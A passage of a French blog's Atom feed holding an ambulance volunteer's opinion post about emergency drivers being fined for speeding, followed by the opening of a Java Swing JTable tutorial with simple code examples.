&lt;/div&gt;</content></entry><entry><title>L'ambulance se traîne…</title><link href="http://blog.namok.be/2013-02-13-ambulance-se-traine.html" rel="alternate"/><published>2013-02-13T00:00:00+01:00</published><updated>2013-02-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-02-13:/2013-02-13-ambulance-se-traine.html</id><summary type="html">Des ambulances flashées et sommées de payer l'amende.</summary><content type="html">&lt;p&gt;Dans la presse, ces jours-ci je peux lire que des chauffeurs de véhicules prioritaire flashés en excès de vitesse, alors que le véhicule est prioritaire et que la mission le justifie, doivent s&amp;rsquo;acquitter d&amp;rsquo;une amende.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Cool_Ambulance_by_Podda999.jpg" src="/images/Cool_Ambulance_by_Podda999.jpg" title="Cool_Ambulance_by_Podda999.jpg, fév. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on s&amp;rsquo;accorde à dire qu&amp;rsquo;en cas d&amp;rsquo;arrêt cardiaque la prise en charge précoce (comprendre intervenir dans les 3 à 5 minutes) est primordiale pour que la victime aie un peu de chance de ne pas en ressortir comme un poireau &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on ne m&amp;rsquo;a pas menti lorsque l&amp;rsquo;on m&amp;rsquo;a dit qu&amp;rsquo;un véhicule prioritaire n&amp;rsquo;était pas tenu de respecter les limitations de vitesse lorsque l&amp;rsquo;urgence de sa mission le justifie.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;59.13. Les dispositions de l&amp;rsquo;article 11 et de l&amp;rsquo;article 22 quater ne sont pas applicables aux véhicules utilisés par les agents qualifiés ainsi qu&amp;rsquo;aux véhicules prioritaires dans les cas justifiés par l&amp;rsquo;urgence de leur mission.&lt;/p&gt;
&lt;p&gt;En outre, dans les mêmes cas, les conducteurs de ces véhicules ne sont pas tenus d&amp;rsquo;observer la limitation de vitesse imposée par le signal C43, le cas échéant à validité zonale conformément à l&amp;rsquo;article 65.5.&lt;/p&gt;
&lt;p&gt;Extrait du &lt;a href="http://www.code-de-la-route.be/textes-legaux/sections/ar/code-de-la-route/239-art59"&gt;code de la route&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Alors il est normal que l&amp;rsquo;ambulance « se dépêche » pour se rendre sur le lieu de sa mission &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si tu me fais payer mes excès de vitesse, mes franchissements de ligne blanche et de feux de signalisation lorsque je suis en mission urgente…&lt;/p&gt;
&lt;p&gt;Alors les passants pourront me jeter des cailloux lorsque je roulerai à 30km/h dans les zones 30 ou que j&amp;rsquo;attendrais aux feux toutes sirènes hurlantes pendant que (peut-être) des cellules de cerveau meurent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Une vie ça n&amp;rsquo;a pas de prix… sauf si c&amp;rsquo;est mon pognon !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.wikipedia.org/wiki/R%C3%A9animation_cardio-pulmonaire"&gt;Wikipedia, réanimation cardio-pulmonaire&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.rtbf.be/info/regions/detail_ambulance-flashee-a-92-km-h-le-parquet-reste-impitoyable?id=7924939"&gt;RTBF Ambulance flashée à 92 km/h: le parquet reste impitoyable&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.rtbf.be/video/detail_les-pv-des-pompiers?id=1798660"&gt;RTBF Le journal&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.lanouvellegazette.be/660334/article/regions/sambre-meuse/2013-02-09/flashe-au-volant-d-une-ambulance-qui-conduit-un-malade-a-l-hopital-130-euros-d-a"&gt;La nouvelle gazette Flashé au volant d&amp;rsquo;une ambulance qui conduit un malade à l&amp;rsquo;hôpital: 130 euros d&amp;rsquo;amende… ou c&amp;rsquo;est le tribunal&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.vulgaris-medical.com/encyclopedie-medicale/arret-cardiaque"&gt;Vulgaris-medical&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.pifo.uvsq.fr/hebergement/cec_mv/185.pdf"&gt;Faculté de Médecine Paris-Ile-de-France-Ouest Arrêt cardiorespiratoire&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.code-de-la-route.be/textes-legaux/sections/ar/code-de-la-route/239-art59"&gt;Code de la route&lt;/a&gt;&lt;br&gt;
&lt;a href="http://podda999.deviantart.com/art/Cool-Ambulance-114632777"&gt;Crédit photo, Poda999&lt;/a&gt; &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Même si l&amp;rsquo;entourage de la victime réagit vite et bien, on peut penser que les compressions thoraciques (&lt;em&gt;aka&lt;/em&gt; massage cardiaque) seront plus efficaces lorsque l&amp;rsquo;on donnera de l&amp;rsquo;oxygène au patient. Et l&amp;rsquo;oxygène est dans l&amp;rsquo;ambulance.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Les ambulanciers ne sont, en général, pas complètement tarés. Lorsque nous partons avec l&amp;rsquo;ambulance vers le lieu de la mission, nous voulons arriver rapidement certes mais entiers afin de porter secours à la victime.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Quand je cherche une image, j&amp;rsquo;en trouve souvent plein d&amp;rsquo;autres qui pourraient convenir (ou pas)… je les mets sur mon &lt;a href="http://asaph.namok.be"&gt;asaph&lt;/a&gt; (&lt;em&gt;lien mort&lt;/em&gt;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Tuto Java, composant JTable</title><link href="http://blog.namok.be/2013-02-12-tuto-Java-composant-jtable.html" rel="alternate"/><published>2013-02-12T00:00:00+01:00</published><updated>2013-02-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-02-12:/2013-02-12-tuto-Java-composant-jtable.html</id><summary type="html">Le composant JTable en Java n'est peut-être pas le plus intuitif. Voici un tuto.</summary><content type="html">&lt;p&gt;&lt;strong&gt;JTable&lt;/strong&gt; est un composant graphique (Swing) permettant d&amp;rsquo;obtenir une vue sur un ensemble de données structurées en lignes et colonnes.&lt;/p&gt;
&lt;p&gt;&lt;img alt="starwars-coffee.jpg" src="/images/starwars-coffee.jpg" title="starwars-coffee.jpg, fév. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Un peu comme suit :&lt;/p&gt;
&lt;p&gt;&lt;img alt="TableDialogEditDemo-tooltip.png" src="/images/TableDialogEditDemo-tooltip.png" title="TableDialogEditDemo-tooltip.png, fév. 2013"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Utilisation simple, voire simpliste&lt;/li&gt;
&lt;li&gt;Et si j&amp;rsquo;en veux plus ?&lt;/li&gt;
&lt;li&gt;Un type pour chaque cellule&lt;/li&gt;
&lt;li&gt;Des cellules non éditables (ou partiellement)&lt;/li&gt;
&lt;li&gt;Stocker ses données autrement&lt;/li&gt;
&lt;li&gt;Trier les colonnes&lt;/li&gt;
&lt;li&gt;Imprimer&lt;/li&gt;
&lt;li&gt;Points non abordés&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Utilisation simple, voire simpliste&lt;/h2&gt;
&lt;p&gt;La manière la plus simple et donc la moins paramétrables puisque tout le boulot est déjà fait, est d&amp;rsquo;utiliser ces constructeurs de JTable&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;JTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[][]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnNames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;JTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Vector&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rowData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Vector&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnNames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le premier argument représente les données dans un tableau à deux dimensions et le deuxième argument les titres des colonnes.&lt;/p&gt;
&lt;p&gt;Exemple chez &lt;a href="http://docs.oracle.com/javase/tutorial/displayCode.html?code=http://docs.oracle.com/javase/tutorial/uiswing/examples/components/SimpleTableDemoProject/src/components/SimpleTableDemo.java"&gt;Oracle, SimpleJTableDemo&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnNames&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;First Name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Last Name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sport&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;# of Years&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Vegetarian&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[][]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Kathy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Smith&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Snowboarding&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;John&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Doe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Rowing&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sue&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Black&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Knitting&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Jane&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;White&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Speed reading&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)},&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Joe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Brown&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Pool&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;columnNames&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFillsViewportHeight&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;instruction &lt;code&gt;table.setFillsViewportHeight(true);&lt;/code&gt; permet de demander à la table de prendre toute la place lorsqu&amp;rsquo;elle se retrouve dans un &lt;code&gt;JScrollPane&lt;/code&gt; par exemple.&lt;/p&gt;
&lt;p&gt;Le principal avantage de cette méthode, c&amp;rsquo;est que c&amp;rsquo;est très simple.&lt;/p&gt;
&lt;p&gt;Les inconvénients:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;toutes les cellules sont éditables. Dans l&amp;rsquo;exemple, le tableau passé en paramètre est modifié lorsque l&amp;rsquo;on édite une cellule;&lt;/li&gt;
&lt;li&gt;les données sont des &lt;code&gt;Objects&lt;/code&gt;, qui sont présentés comme des &lt;code&gt;String&lt;/code&gt;;&lt;ul&gt;
&lt;li&gt;remplacer la valeur de l&amp;rsquo;entier 5 de Kathy Smith dans l&amp;rsquo;exemple par la valeur &amp;ldquo;foo&amp;rdquo;, ne pose aucun problème (ce n&amp;rsquo;est peut-être pas ce que l&amp;rsquo;on cherche).&lt;/li&gt;
&lt;li&gt;les booléen sont également convertis en String alors que l&amp;rsquo;on pourrait s&amp;rsquo;attendre à ce qu&amp;rsquo;ils soient représentés par une &lt;em&gt;checkbox&lt;/em&gt; par exemple.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;les données doivent se trouver dans un tableau ou dans un vecteur. Ceci ne permet pas de placer les données ailleurs, dans une base de données ou structurées différemment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cette utilisation simple utilise un &lt;strong&gt;modèle par défaut&lt;/strong&gt; pour gérer les données et le comportement de la vue. On est donc bien dans une organisation modèle / vue.&lt;/p&gt;
&lt;p&gt;En utilisant ce modèle par défaut:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;il est possible de changer la taille d&amp;rsquo;une colonne. La table essayera de maintenir les proportions lors d&amp;rsquo;un redimensionnement;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;TableColumn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getColumn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;column&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setPreferredWidth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;lorsque l&amp;rsquo;utilisateur fait une sélection, il est possible de la récupérer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par défaut, la sélection se fait par lignes entières. On peut alors sélectionner différentes lignes de la manière habituelle (Ctrl-Clic).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSelectionMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ListSelectionModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SINGLE_SELECTION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSelectionMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ListSelectionModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SINGLE_INTERVAL_SELECTION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSelectionMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ListSelectionModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MULTIPLE_INTERVAL_SELECTION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Remarque: Il est possible de permettre la sélection de cellules sans pour autant imposer la sélection de lignes entières.&lt;/p&gt;
&lt;p&gt;Ceci se fait grâce à des combinaisons des propriétés liées suivantes;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRowSelectionAllowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setColumnSelectionAllowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setCellSelectionEnabled&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lorsque des cellules sont sélectionnées, ce sont les coordonnées des cellules qui sont disponibles. Les méthodes suivantes retournent des &lt;code&gt;int&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSelectedRows&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSelectedColumns&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les deux instructions qui suivent donnent en plus la ligne et la colonne de la dernière cellule sélectionnée:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSelectionModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getLeadSelectionIndex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getColumnModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getSelectionModel&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getLeadSelectionIndex&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Et si j&amp;rsquo;en veux plus ?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Si on ne peut se contenter du modèle par défaut, il faudra écrire le sien.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Remarque importante puisque l&amp;rsquo;on est bien dans une optique modèle / vue, chaque fois que l&amp;rsquo;on parle de la cellule à la position &lt;em&gt;row,column&lt;/em&gt; cela fait référence à la position de la cellule dans le modèle. Si la vue est modifiée (déplacement d&amp;rsquo;une colonne par exemple) cela n&amp;rsquo;a pas d&amp;rsquo;impact sur la position dans le modèle.&lt;/p&gt;
&lt;p&gt;Pour permettre la transition, il existe des méthodes de conversion:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;realColumnIndex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convertColumnIndexToModel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;realRowIndex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convertRowIndexToModel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rowIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
